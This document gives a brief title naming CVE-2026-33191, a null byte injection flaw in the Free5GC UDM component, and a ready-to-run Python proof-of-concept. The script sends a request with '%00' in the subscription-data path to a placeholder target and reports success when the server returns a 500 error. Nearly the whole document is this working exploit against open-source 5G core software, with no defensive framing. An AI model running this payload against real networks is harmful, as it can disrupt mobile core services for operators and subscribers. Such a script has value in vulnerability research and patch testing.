CVE-2026-33191 Free5GC空字节注入漏洞

#!/usr/bin/env python3 import requests def exploit_cve_2026_33191(target_ip): """ PoC for CVE-2026-33191: Null Byte Injection in Free5GC UDM. This script sends a request with a null byte (%00) in the supi parameter to trigger a URL parsing error and cause a 500 Internal Server Error. """ # The vulnerable endpoint typically involves the supi (Subscription Permanent Identifier) # Construct the malicious URL with a null byte malicious_url = f"http://{target_ip}/nudm-subscriberdata-management/v1/subscription-data/%00" try: print(f"[*] Sending payload to {malicious_url}") response = requests.get(malicious_url, timeout=10) if response.status_code == 500: print("[+] Exploit successful! Server returned 500 Internal Server Error.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Unexpected status code: {response.status_code}") print(f"[-] Response body: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with the actual target IP address or hostname target = "<TARGET_IP>:<PORT>" exploit_cve_2026_33191(target)